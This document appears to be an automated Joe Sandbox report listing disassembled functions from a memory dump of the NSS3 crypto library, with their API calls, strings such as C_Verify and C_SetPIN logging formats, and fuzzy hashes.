Opcode Fuzzy Hash: a7645886414e104e2926d57dd687c2c2af1d5939c78760d3f6a795fa6dea6a72
Instruction Fuzzy Hash: E0410130600195AFDB449B50DD98BAE37B5FB4A30EF048425F808BBA11EF349D49CFA2

Function 6CBB7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CBB7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB7CF3

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBB7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBB7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CBB7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CBB7D77

Strings

(CK_INVALID_HANDLE), xrefs: 6CBB7CEC
pSignature = 0x%p, xrefs: 6CBB7D59
pData = 0x%p, xrefs: 6CBB7D25
ulDataLen = %d, xrefs: 6CBB7D40
ulSignatureLen = %d, xrefs: 6CBB7D72
C_Verify, xrefs: 6CBB7CB1
hSession = 0x%x, xrefs: 6CBB7CCE, 6CBB7CDE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: bdec0c0877a9113123a803e0cf6eedcc9dab4bab33c8271a956429811276f8cd
Instruction ID: 9dc0224590ff3aebb525ba6e1f161e9f0eabe59031c6de590a7b9a1581465464
Opcode Fuzzy Hash: bdec0c0877a9113123a803e0cf6eedcc9dab4bab33c8271a956429811276f8cd
Instruction Fuzzy Hash: 7331C37160119AAFDB04DF64DD58FAE37B1EB4A319F094024F808B7A11EF309959CBB2

Function 6CBB2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CBB2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB2F63

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CBB2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CBB2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CBB2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CBB2FE7

Strings

pNewPin = 0x%p, xrefs: 6CBB2FC9
C_SetPIN, xrefs: 6CBB2F21
pOldPin = 0x%p, xrefs: 6CBB2F95
ulOldLen = %d, xrefs: 6CBB2FB0
(CK_INVALID_HANDLE), xrefs: 6CBB2F5C
ulNewLen = %d, xrefs: 6CBB2FE2
hSession = 0x%x, xrefs: 6CBB2F3E, 6CBB2F4E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 14aea6728ebbaa935a31b1064477df2133cc141fd0a00db95be5eb40479b20c9
Instruction ID: efc1ce745bdcb5f82cb53c099358cf6ce6796f2f6c67baa804c0feccf6f95e4c
Opcode Fuzzy Hash: 14aea6728ebbaa935a31b1064477df2133cc141fd0a00db95be5eb40479b20c9
Instruction Fuzzy Hash: 0A31D075A01185AFCF409B54DD4CFAE37B1EB4B309F094024F808B7611EF309949CBA2

Function 6CC4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC4CC7B), ref: 6CC4CD7A

Part of subcall function 6CC4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CBBC1A8,?), ref: 6CC4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CD8E

Part of subcall function 6CB705C0: PR_EnterMonitor.NSS3 ref: 6CB705D1
Part of subcall function 6CB705C0: PR_ExitMonitor.NSS3 ref: 6CB705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC4CE48

Strings

ws2_32.dll, xrefs: 6CC4CD75
getaddrinfo, xrefs: 6CC4CD88, 6CC4CDF9
freeaddrinfo, xrefs: 6CC4CD9F, 6CC4CE10
getnameinfo, xrefs: 6CC4CDB2, 6CC4CE23
wship6.dll, xrefs: 6CC4CDE3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 5d1ce93c50c6f70c9f0fd98370e2db964215a3083739095a1bf4f967876882bf
Instruction ID: 4fe2cebd8dd93cdb3df69102988f9301b4bb7720f005eef560803b25d56cc01c
Opcode Fuzzy Hash: 5d1ce93c50c6f70c9f0fd98370e2db964215a3083739095a1bf4f967876882bf
Instruction Fuzzy Hash: 2A11D3B5E0255212EB116BB97C50AAF396C9B4320CF18C535EC15E6F52FB22CA5C87F2

Function 6CC91C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CC913BC,?,?,?,6CC91193), ref: 6CC91C6B
PR_NewLock.NSS3(?,6CC91193), ref: 6CC91C7E

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_NewCondVar.NSS3(00000000,?,6CC91193), ref: 6CC91C91

Part of subcall function 6CB6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CB721BC), ref: 6CB6BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CC91193), ref: 6CC91CA7

Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CB6BBEB
Part of subcall function 6CB6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CB6BBFB
Part of subcall function 6CB6BB80: GetLastError.KERNEL32 ref: 6CB6BC03
Part of subcall function 6CB6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CB6BC19
Part of subcall function 6CB6BB80: free.MOZGLUE(00000000), ref: 6CB6BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CC91193), ref: 6CC91CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CC91193), ref: 6CC91CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CC91193), ref: 6CC91CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CC91193), ref: 6CC91D1A

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D3D

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CC91193), ref: 6CC91D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CC91193), ref: 6CC91D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CC91193), ref: 6CC91D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CC91193), ref: 6CC91D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CC91193), ref: 6CC91D93
PR_DestroyLock.NSS3(00000000,?,?,6CC91193), ref: 6CC91D9F
free.MOZGLUE(00000000,?,6CC91193), ref: 6CC91DA8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: e624c4a519129731a0d5ea6237babcbc193017a1f014de5f7288aec8d5729ea4
Instruction ID: a44cdb9a00b0c0d2fe63eca26ba4d11dcc8acc5438fadb9939d00538b7c4adcf
Opcode Fuzzy Hash: e624c4a519129731a0d5ea6237babcbc193017a1f014de5f7288aec8d5729ea4
Instruction Fuzzy Hash: 8831D9F1E007415FEB219F69AC41A9B77F8AF0560CF044479E84A87B51FB31E518CBA2

Function 6CBE5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CBE5EC0,00000000,?,?), ref: 6CBE5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CBE5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CBE5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CBE5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CBE5EC0,00000000,?,?), ref: 6CBE5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CBE5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CBE5D80

Strings

extern:, xrefs: 6CBE5CEA, 6CBE5D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6CBE5D1A
multiaccess:, xrefs: 6CBE5CB8
sql:, xrefs: 6CBE5CD1, 6CBE5D36
dbm:, xrefs: 6CBE5D03, 6CBE5D60

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 11913f7b6d594b85bee609a7b66a2ab239efa83a672eb88a8d886aad844c47f9
Instruction ID: 7fce7f3126f3844c6ef57d306d80a2acdbfea92f6e63b2fd39ce17dbdc2fcbe2
Opcode Fuzzy Hash: 11913f7b6d594b85bee609a7b66a2ab239efa83a672eb88a8d886aad844c47f9
Instruction Fuzzy Hash: 713129F07413A25BEB011B249C4DF663369EF0AB88F144030EE55E6A82F775E519C39B

Function 6CBE6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CCB1DE0,?), ref: 6CBE6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CBE6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CBE6D82
DER_GetInteger_Util.NSS3(?), ref: 6CBE6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBE6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CBE6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CBE6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CBE6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CBE6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBE7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CBE7033
free.MOZGLUE(?), ref: 6CBE703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CBE7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CBE7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CBE70AF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 2652eac30a2e495cb0efa91e5cd82534e0e96d044b897083b037352cfe5b44cf
Instruction ID: e9d0ecd5c3368b7222379cb94cc3f6cc3cbe5aed1082911533c5b872d8f7b8b9
Opcode Fuzzy Hash: 2652eac30a2e495cb0efa91e5cd82534e0e96d044b897083b037352cfe5b44cf
Instruction Fuzzy Hash: C0A129719082C49BEB008B24DC45B6B32A4DB89B8CF248939EA59DBB81E775D845C793

Function 6CBAAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF39
PR_Unlock.NSS3(?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF69
TlsGetValue.KERNEL32 ref: 6CBAB06B
EnterCriticalSection.KERNEL32(?), ref: 6CBAB083
PR_Unlock.NSS3(?), ref: 6CBAB0A4
TlsGetValue.KERNEL32 ref: 6CBAB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CBAB0D9
PR_Unlock.NSS3 ref: 6CBAB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAB182

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CBAB177

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1C2

Part of subcall function 6CBD1560: TlsGetValue.KERNEL32(00000000,?,6CBA0844,?), ref: 6CBD157A
Part of subcall function 6CBD1560: EnterCriticalSection.KERNEL32(?,?,?,6CBA0844,?), ref: 6CBD158F
Part of subcall function 6CBD1560: PR_Unlock.NSS3(?,?,?,?,6CBA0844,?), ref: 6CBD15B2

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c89b836a5e4fae082810e9e65b712b4c9c8a2ee5b511fb90fda9ab82ae30a12d
Instruction ID: 509ea8717d903ea5a689a9017ffa801290441cf4e4c830269399f893a6da9ee0
Opcode Fuzzy Hash: c89b836a5e4fae082810e9e65b712b4c9c8a2ee5b511fb90fda9ab82ae30a12d
Instruction Fuzzy Hash: B9A191B1D04249ABEF009FA4DC41BEEB7B4EF09308F144125E915A7751E731E95ACBE1

Function 6CBFAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFADB1

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBFADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBFAE08

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBFAE25
PL_FreeArenaPool.NSS3 ref: 6CBFAE63
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBFAE4D

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFAE93
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBFAECC
PL_FreeArenaPool.NSS3 ref: 6CBFAEDE
PL_FinishArenaPool.NSS3 ref: 6CBFAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFAEF5
PL_FinishArenaPool.NSS3 ref: 6CBFAF16

Strings

security, xrefs: 6CBFADEE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c26f3e0803645b474d1f9bbe5919fd6a4f43f94b57da8998d747a90871e7052b
Instruction ID: 14cef0bb92834cc4521badbe4a0e0bb085ebcf29f38b8ab5ac3a87455b306105
Opcode Fuzzy Hash: c26f3e0803645b474d1f9bbe5919fd6a4f43f94b57da8998d747a90871e7052b
Instruction Fuzzy Hash: 0D4128B290029067EB254B24DC44BAE32B8EF4675CF200525E964D7F81FB35A54ECED3

Function 6CC9AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC49890: TlsGetValue.KERNEL32(?,?,?,6CC497EB), ref: 6CC4989E

EnterCriticalSection.KERNEL32(?), ref: 6CC9AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CC9AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CC9AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CC9AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC9B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B070
PR_JoinThread.NSS3(?), ref: 6CC9B07B
free.MOZGLUE(?), ref: 6CC9B084
EnterCriticalSection.KERNEL32(?), ref: 6CC9B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B0C4
PR_JoinThread.NSS3(?), ref: 6CC9B0F3
free.MOZGLUE(?), ref: 6CC9B0FC
PR_JoinThread.NSS3(?), ref: 6CC9B137
free.MOZGLUE(?), ref: 6CC9B140

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 300a2030ddde446456455c628a78bdcbc6a938b750e960c9a43800508558ee1a
Instruction ID: 029a3944cb8babf97756d964a5fd3bc89f104ef0fe35935754598de011bdb9ae
Opcode Fuzzy Hash: 300a2030ddde446456455c628a78bdcbc6a938b750e960c9a43800508558ee1a
Instruction Fuzzy Hash: E7916CB6900611DFCB14DF15C89084ABBF5FF49318729C5A9D81A9BB22E732FC46CB90

Function 6CC15CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CC12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12BF0
Part of subcall function 6CC12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C07
Part of subcall function 6CC12BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C1E
Part of subcall function 6CC12BE0: free.MOZGLUE(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C4A

free.MOZGLUE(?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D0F
free.MOZGLUE(?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D4E
free.MOZGLUE(?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D62
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D85
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D99
